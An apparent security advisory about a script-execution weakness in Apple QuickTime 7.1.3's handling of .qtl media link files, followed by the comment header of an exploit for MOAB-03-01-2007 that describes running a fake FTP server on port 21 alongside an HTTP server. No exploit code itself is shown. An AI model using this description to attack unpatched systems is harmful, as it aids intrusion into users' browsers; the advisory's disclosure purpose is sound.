Apple QuickTime plug-in is prone to an arbitrary-script-execution weakness when executing QuickTime Media Link files (.qtl).

An attacker can exploit this issue to execute arbitrary script code in the context of the affected application and load local content in a user's browser. Although this weakness doesn't pose any direct security threat by itself, an attacker may use it to aid in further attacks.

QuickTime 7.1.3 is vulnerable; other versions may also be affected.

# Description:
#   Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the
#   fake FTP server (required). HTTP server port can be modified but it's
#   not recommended. Adjust as necessary.
